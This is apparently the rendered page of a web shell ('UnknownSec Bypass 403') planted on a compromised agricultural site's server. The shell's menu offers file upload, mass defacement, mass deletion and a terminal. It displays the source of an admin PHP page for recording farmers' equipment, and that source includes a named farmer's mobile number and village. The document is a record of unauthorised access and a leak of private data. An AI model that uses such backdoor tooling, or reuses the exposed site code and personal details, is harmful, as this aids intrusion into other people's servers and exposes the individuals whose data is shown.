UnknownSec Bypass
403
:
/
var
/
www
/
jpsagrisolution
/
epanel
/ [
drwxr-xr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
add_farmer_equipments.php
<?php include "top.php";?> <script> $(document).ready(function() { var equipmentid = ""; gettotalproduct(equipmentid); var id = getUrlVars()['id']; var op = getUrlVars()['op']; // Initialize State select2 $("#product").select2(); // Initialize District select2 if (id != "") { $.ajax({ method: 'POST', url: 'get_former_equipment_details.php', data: '&id=' + id, dataType: "JSON", success: function(data) { //var obj = JSON.stringify(data); // var str = $.parseJSON(obj); $('#fid').val(data.farmerid); $('#farmername').html(data.farmername); $('#fathername').html(data.fathername); $('#mobileno1').html(data.mobileno1); $('#village').html(data.villagename); getequipmentdetails(data.farmerid); } }); } }); function remove(id) { try { var product = ""; var qty = ""; var fid = document.getElementById("fid").value; var hdid =id;// document.getElementById("hdid").value; var btnopration = "Delete"; var flag=true; if (flag == true) { var urlgetcode = 'manage_former_equipment.php'; $.ajax({ method: 'POST', url: urlgetcode, data: '&product=' + product + '&qty=' + qty + '&fid=' + fid +'&hdid=' + hdid + '&btnopration=' + btnopration, dataType: 'json', async: true, cache: false, success: function(msg) { if (msg == "4") { alert("Remove product successfully"); getequipmentdetails(fid); } }, error: function(request) { alert(request.responseText); } }); } } catch (Error) { alert(Error); } } function getequipmentdetails(farmerid) { $.ajax({ method: "POST", url: "fill_former_equipment_details.php", data: { farmer_id: farmerid }, success: function(data) { $('#dynamic_content').html(data); /// $("#state").html(data); } }); } function getUrlVars() { var vars = [], hash; var hashes = window.location.href.slice(window.location.href.indexOf('?') + 1).split('&'); for (var i = 0; i < hashes.length; i++) { hash = hashes[i].split('='); vars.push(hash[0]); vars[hash[0]] = hash[1]; } return vars; } function gettotalproduct(val) { $.ajax({ type: "Get", url: "get_total_product.php", success: function(res) { var data = JSON.parse(res); var sel = $("#product"); sel.empty(); $("#product").append('<option>Select Product</option>'); for (var i = 0; i < data.length; i++) { if (data[i].id == val) { sel.append('<option value="' + data[i].id + '" selected=true>' + data[i] .equipmentname + '</option>'); } else { sel.append('<option value="' + data[i].id + '">' + data[i].equipmentname + '</option>'); } } /// $("#state").html(data); } }); } function saveequipment() { var flag = true; var inputField1 = document.getElementById("product"); if (inputField1.value == "Select Product") { flag = false; alert("Please select product name"); document.getElementById("product").focus(); return false; } var inputField2 = document.getElementById("qty"); if (inputField2.value == "") { flag = false; alert("Please enter qty"); document.getElementById("qty").focus(); return false; } var product = document.getElementById("product").value; var qty = document.getElementById("qty").value; var fid = document.getElementById("fid").value; var hdid = document.getElementById("hdid").value; var btnopration = document.getElementById("btnopration").innerHTML; var text = "Do you want " + btnopration + " Farmer Details"; if (confirm(text) == false) { flag = false; return false; } try { if (flag == true) { var urlgetcode = 'manage_former_equipment.php'; $.ajax({ method: 'POST', url: urlgetcode, data: '&product=' + product + '&qty=' + qty + '&fid=' + fid +'&hdid=' + hdid + '&btnopration=' + btnopration, dataType: 'json', async: true, cache: false, success: function(msg) { if (msg == "1") { alert("Save Successfully"); gettotalproduct(""); $('#qty').val(""); $('#btnopration').text("Save"); getequipmentdetails(fid); } else if (msg == "2") { alert("Produc Name Already Exist"); gettotalproduct(""); $('#qty').val(""); $('#btnopration').text("Save"); getequipmentdetails(fid); } else if (msg == "3") { alert("Update Successfully"); $('#village').val("Select"); $('#block').val("Select"); $('#state').val("Select"); $('#district').val("Select"); $('#farmername').val(""); $('#fathername').val(""); $('#mobileno1').val(""); $('#mobileno2').val(""); $('#age').val(""); $('#gender').val(""); $('#btnopration').text("Save"); window.location.href = "list_farmer.php"; } else if (msg == "4") { alert("Delete Successfully"); $('#village').val("Select"); $('#block').val("Select"); $('#state').val("Select"); $('#district').val("Select"); $('#farmername').val(""); $('#fathername').val(""); $('#mobileno1').val(""); $('#mobileno2').val(""); $('#age').val(""); $('#gender').val(""); $('#btnopration').text("Save"); window.location.href = "list_farmer.php"; } }, error: function(request) { alert(request.responseText); } }); } } catch (Error) { alert(Error); } return; } </script> <div id="page-wrapper" class="gray-bg dashbard-1"> <div class="content-main"> <!--banner--> <div class="banner"> <table width="100%"> <tr> <td width="50%"><b><label name="pageheading" id="pageheading">Add Farmer</label></b></td> <td width="50%" align="right"><a class="btn btn-default" href="list_farmer.php">Farmer List</a></td> </tr> </table> </div> <!--//banner--> <!--grid--> <div class="validation-system"> <div class="validation-form"> <!----> <input type="hidden" class="form-control1" id="hdid" name="hdid"> <input type="hidden" class="form-control1" id="fid" name="fid"> <div class="vali-form vali-form1"> <div class="col-md-6 form-group1"> <label class="control-label">Farmer Name: </label> <label class="control-label" id="farmername" name="farmername">Sanjeev Kumar Singh</label> </div> <div class="col-md-6 form-group1 form-last"> <label class="control-label">Father's Name: </label> <label class="control-label" id="fathername" name="fathername">Mr. Nandan Singh</label> </div> <div class="clearfix"> </div> </div> <div class="vali-form vali-form1"> <div class="col-md-6 form-group1"> <label class="control-label">Mobile No.1: </label> <label class="control-label" id="mobileno1" name="mobileno1">8979236470</label> </div> <div class="col-md-6 form-group1 form-last"> <label class="control-label">Village: </label> <label class="control-label" id="village" name="village">Navdiya Har Kishan</label> </div> <div class="clearfix"> </div> </div> <div class="vali-form vali-form1"> <div class="col-md-6 form-group1"> <label class="control-label">Product Name</label> <select name="product" id="product" class="form-control" style="width: 100%;"> </select> </div> <div class="col-md-6 form-group1 form-last"> <label class="control-label">Qty</label> <input type="text" class="form-control1" id="qty" name="qty" placeholder="Mobile No.2"> </div> <div class="clearfix"> </div> </div> <div class="col-md-12 form-group"> <button type="submit" id="btnopration" onclick="saveequipment()" class="btn btn-primary">Save</button> </div> <div class="clearfix"> </div> <table class="table" id="dynamic_content"> <thead> <tr> <th scope="col">#</th> <th scope="col">First</th> <th scope="col">Last</th> <th scope="col">Handle</th> </tr> </thead> <tbody> <tr> <th scope="row">1</th> <td>Mark</td> <td>Otto</td> <td>@mdo</td> </tr> <tr> <th scope="row">2</th> <td>Jacob</td> <td>Thornton</td> <td>@fat</td> </tr> <tr> <th scope="row">3</th> <td colspan="2">Larry the Bird</td> <td>@twitter</td> </tr> </tbody> </table> <!----> </div> </div> <!--//grid--> <?php include "footer.php";?>
Copyright © 2025 - UnknownSec